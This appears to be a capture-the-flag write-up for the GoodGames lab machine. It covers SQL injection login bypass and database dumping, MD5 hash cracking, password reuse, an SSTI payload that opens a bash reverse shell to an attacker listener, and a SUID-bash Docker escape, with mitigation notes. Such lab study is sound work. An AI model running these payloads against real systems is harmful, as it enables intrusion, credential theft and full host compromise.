Overview

Machine author: TheCyberGeek. IP: 10.10.10.x.

  1. Recon: only port 80 is open (Werkzeug/Python 3.9.2, a Flask application).
  2. SQL injection in the login form: authentication bypass plus a dump of the main database.
  3. The admin’s MD5 hash cracks to superadministrator.
  4. Subdomain internal-administration.goodgames.htb: a Flask panel, password reuse.
  5. SSTI in the profile field: RCE, a reverse shell, root inside a Docker container.
  6. Docker escape via a shared bind-mount plus the SUID bit: root on the host.

Reconnaissance

1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.x | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV -sC -Pn 10.10.10.x

Port 80: Werkzeug/2.0.2 Python/3.9.2, title GoodGames | Community and Store. The footer reveals the domain goodgames.htb.

1
echo "10.10.10.x goodgames.htb" | sudo tee -a /etc/hosts

Initial Access

SQL injection

Login form bypass payload:

1
admin' or 1 = 1 -- -

The response is “Welcome admin”. Save the Burp request to goodgames.req and run sqlmap:

1
2
3
4
sqlmap -r goodgames.req                       # confirm the vulnerability (UNION + time-based)
sqlmap -r goodgames.req --dbs                  # databases: information_schema, main
sqlmap -r goodgames.req -D main --tables       # tables: user, blog, blog_comments
sqlmap -r goodgames.req -D main -T user --dump # dump the user table
idnameemailpassword
1admin[email protected]2b22337f218b2d82dfc3b6f77e7cb8ec

Cracking the hash

The hash is MD5 (32 hex chars). Crack it, for example on CrackStation:

1
2b22337f218b2d82dfc3b6f77e7cb8ec  ->  superadministrator

Logging in as admin, the panel shows a gear icon leading to a new subdomain:

1
sudo sed -i 's/goodgames.htb/goodgames.htb internal-administration.goodgames.htb/g' /etc/hosts

internal-administration.goodgames.htb is a Flask panel (Volt Dashboard). Password reuse: admin / superadministrator works.

SSTI to RCE

The profile settings allow changing Full Name. SSTI test:

1
{{7*7}}   ->   49

Reverse shell: base64 the payload and start a listener.

1
2
3
echo -ne 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1' | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS80NDQ0IDA+JjE=
nc -lvvp 4444

SSTI payload in Full Name (${IFS} replaces spaces):

1
{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}<BASE64>${IFS}|base64${IFS}-d|bash').read()}}

The shell lands as root, but in a container:

1
2
root@3a453ab39d3d:/backend# id
uid=0(root) gid=0(root) groups=0(root)

user.txt is in the user’s home directory inside the container.

Privilege Escalation

Docker escape

The host home directory is mounted into the container read-write:

1
2
3
4
root@3a453ab39d3d:/home/augustus# ls -la
-rw-r----- 1 root 1000  32 Nov  3 10:13 user.txt      # owner shown as UID 1000, not "augustus"
root@3a453ab39d3d:/home/augustus# mount
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)

The raw UID 1000 instead of a name indicates the directory comes from the host (there is no user with UID 1000 in the container, so the kernel shows the number). The mount is read-write and without nosuid.

The host is reachable from the Docker network:

1
2
eth0: inet 172.19.0.2   -> container
172.19.0.1              -> gateway = the host

Port scan the host with pure bash (no nmap):

1
2
3
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
# port 22 is open
# port 80 is open

Password reuse on the host SSH, augustus / superadministrator:

1
ssh [email protected]     # log in on the host as the regular user augustus

The exploit itself, two halves of one key:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# === on the host as augustus ===
cp /bin/bash .              # drop a copy of bash into /home/augustus (the shared mount)
exit

# === in the container as root ===
chown root:root bash        # change the owner to root:root
chmod 4755 bash             # set the SUID bit -> -rwsr-xr-x

# === back on the host as augustus ===
ssh [email protected]
ls -la bash                 # -rwsr-xr-x 1 root root ... bash
./bash -p                   # run keeping privileges
id                          # uid=1000(augustus) ... euid=0(root)
cd /root && cat root.txt

Three conditions must hold together:

  1. A shared bind-mount (rw, no nosuid): /home/augustus is the same on-disk directory for the host and the container.
  2. No user-namespace remapping (userns-remap): root in the container has numerically the same UID 0 as root on the host. File ownership is stored as a bare number on the shared filesystem.
  3. SUID semantics plus a shared kernel: the SUID bit tells the kernel to run the file with the owner’s effective UID, and the mount lacks nosuid, so the host honours the bit.

Root in the container plants a SUID-root file on the shared disk, and the regular augustus on the host runs it and gets euid=0. Neither half alone is sufficient.

Detection and Mitigation

  • Do not mount host directories into containers read-write unless necessary; consider nosuid.
  • Enable user namespace remapping so root in the container is not root on the host.
  • Do not reuse passwords across the application, the panel and system accounts.
  • Sanitize input (SQLi), use strong hashes (not MD5), and avoid render_template_string on user data (SSTI).

Lessons Learned

  • A raw UID instead of a username in a container listing means a host mount.
  • Bash without nmap: </dev/tcp/host/port is a working port scanner.
  • Docker escape here is two halves of one key: root-in-container plants the SUID file, the host user runs it.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# recon
ports=$(nmap -p- --min-rate=1000 -T4 <IP> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV -sC -Pn <IP>

# SQLi
sqlmap -r goodgames.req -D main -T user --dump
# 2b22337f218b2d82dfc3b6f77e7cb8ec -> superadministrator

# SSTI reverse shell (Full Name field)
echo -ne 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1' | base64
# {{config.__class__.__init__.__globals__['os'].popen('echo${IFS}<B64>${IFS}|base64${IFS}-d|bash').read()}}

# docker escape
# host:      cp /bin/bash /home/augustus/bash
# container: chown root:root bash; chmod 4755 bash
# host:      ./bash -p ; cat /root/root.txt